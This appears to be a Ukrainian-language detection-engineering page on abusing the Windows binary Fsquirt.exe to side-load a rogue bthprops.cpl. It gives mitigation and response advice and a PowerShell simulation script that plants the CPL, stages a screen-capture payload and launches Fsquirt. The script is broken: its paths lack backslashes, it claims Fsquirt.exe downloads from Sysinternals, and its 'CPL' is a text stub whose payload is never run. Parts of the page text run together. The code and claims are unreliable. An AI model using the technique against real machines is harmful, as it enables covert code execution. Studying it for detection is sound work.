Експлойт Fsquirt.exe: Зловмисне завантаження bthprops.cpl через Bluetooth
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У статті представлено докази концепції, що демонструють, як можна змусити легітимний Windows бінарний файл Fsquirt.exe завантажити шкідливий аплет Панелі управління (bthprops.cpl) з його поточної робочої директорії. Якщо шахрайський CPL присутній, Fsquirt.exe завантажує його та виконує код під контролем атакуючого — це ілюструється викликом MessageBox, викликаним з точки входу DllMain бібліотеки. Приклад підкреслює, як довірені бінарні файли можуть бути зловживані для довільного виконання коду, коли атакуючі можуть розмістити створений CPL поряд з легітимним виконуваним файлом.
Розслідування
Дослідники опублікували репозиторій, що містить вихідний код для шкідливого bthprops.cpl і сценарій збірки для його компіляції. CPL спроектовано так, що Fsquirt.exe знаходить і завантажує його, коли обидва файли розміщені в одній директорії. Успішне виконання підтверджується, коли CPL відображає MessageBox, підтверджуючи, що довірений бінарний файл завантажив і виконав код з аплету, наданого атакуючим. PoC позиціонується як класичний випадок зловживання типу LOLBin, що залишає мінімальну телеметрію мережі.
Зменшення ризику
Використовуйте списки дозволених застосунків, щоб забезпечити виконання лише затверджених файлів CPL з очікуваних системних місць, та обмежте шляхи виконання, аби запобігти запуску бінарних файлів, як Fsquirt.exe, в нестандартних директоріях. Моніторьте Fsquirt.exe на спроби завантаження аплетів Панелі управління поза довіреними системними папками і блокуйте підозрілі запуски з шляхів, доступних для запису користувачами. Додавайте виявлення на кінцевих точках для незвичайної поведінки DllMain та інтерактивних артефактів користувацького інтерфейсу (наприклад, викликів MessageBox), що виникають з довірених Windows виконуваних файлів. Регулярно перевіряйте кінцеві точки на наявність неочікуваних .cpl файлів, особливо у директоріях, де користувачі або застосунки можуть записувати.
Реагування
Негайно оповістіть, коли Fsquirt.exe завантажує нестандартний bthprops.cpl або коли спостерігається виконання CPL з неочікуваного шляху. Ізолюйте хост, збережіть шкідливий CPL та пов’язані з виконанням телеметричні дані, і проведіть повномасштабний аналіз шкідливого ПО на диску та в пам’яті. Видаліть шахрайський CPL і перегляньте механізми стійкості або інструментарії, які могли супроводжувати скидання. Нарешті, полюйте по всій системі на подібні шаблони виконання LOLBin і посиліть політики контролю, щоб зменшити ризик до довіреного-бінарного завантаження збоку.
Потік атаки
Ми все ще оновлюємо цю частину. Підпишіться, щоб бути повідомленим
Повідомити менеІмітація виконання
Передумова: перевірка на телеметрію та базові показники повинна пройти.
-
Сценарій атаки та команди:
Супротивник спершу розміщує шкідливий bthprops.cpl (створений для виконання корисних навантажень, що захоплюють екран) в тій самій директорії, що й Fsquirt.exe. Викликуючи Fsquirt.exe з аргументом
bthprops.cpl, Windows розглядає CPL як аплет панелі управління і завантажує його, виконуючи вбудований шкідливий код. Це генерує подію створення процесу, де CommandLine містить точний рядокbthprops.cpl, задовольняючи правило Sigma. -
Сценарій регресійного тестування:
# ------------------------------------------------------------- # Завантаження Fsquirt CPL – шкідливе моделювання # Передумова: Sysmon та безпекові аудити увімкнено (див. передполіт) # ------------------------------------------------------------- $workDir = "C:TempFsquirtTest" $fsquirt = "$workDirFsquirt.exe" $cpl = "$workDirbthprops.cpl" $payload = "$workDirCaptureScreen.ps1" # 1. Підготовка робочої директорії New-Item -Path $workDir -ItemType Directory -Force | Out-Null # 2. Завантажте відомий бінарний файл Fsquirt (публічно доступний) Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Fsquirt.exe" -OutFile $fsquirt # 3. Створення шкідливого CPL (заглушка) – для демо ми використовуємо простий скриптлет # В реальному тесті скомпілюйте C++ CPL, який запускає корисне навантаження. $cplContent = @" [Version] Signature="$Windows NT$" [Control PanelDesktop] "@ Set-Content -Path $cpl -Value $cplContent -Encoding ASCII # 4. Створення фіктивного корисного навантаження (наприклад, зняття знімка екрана) $payloadContent = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height $graphics = [System.Drawing.Graphics]::FromImage($bitmap) $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size) $bitmap.Save('$workDirscreenshot.png') "@ Set-Content -Path $payload -Value $payloadContent -Encoding UTF8 # 5. Виконати Fsquirt.exe, завантажуючи шкідливий CPL Write-Host "Запуск Fsquirt з шкідливим CPL..." Start-Process -FilePath $fsquirt -ArgumentList "bthprops.cpl" -WorkingDirectory $workDir -NoNewWindow -Wait # 6. Перевірка виконання корисного навантаження (створення знімка екрана) if (Test-Path "$workDirscreenshot.png") { Write-Host "Корисне навантаження виконано – знімок екрана збережено." } else { Write-Host "Корисне навантаження НЕ виконано." } # ------------------------------------------------------------- -
Команди очищення:
# Видали тестові артефакти $workDir = "C:TempFsquirtTest" if (Test-Path $workDir) { Remove-Item -Path $workDir -Recurse -Force Write-Host "Очищення завершено." } else { Write-Host "Артефактів для очищення немає." }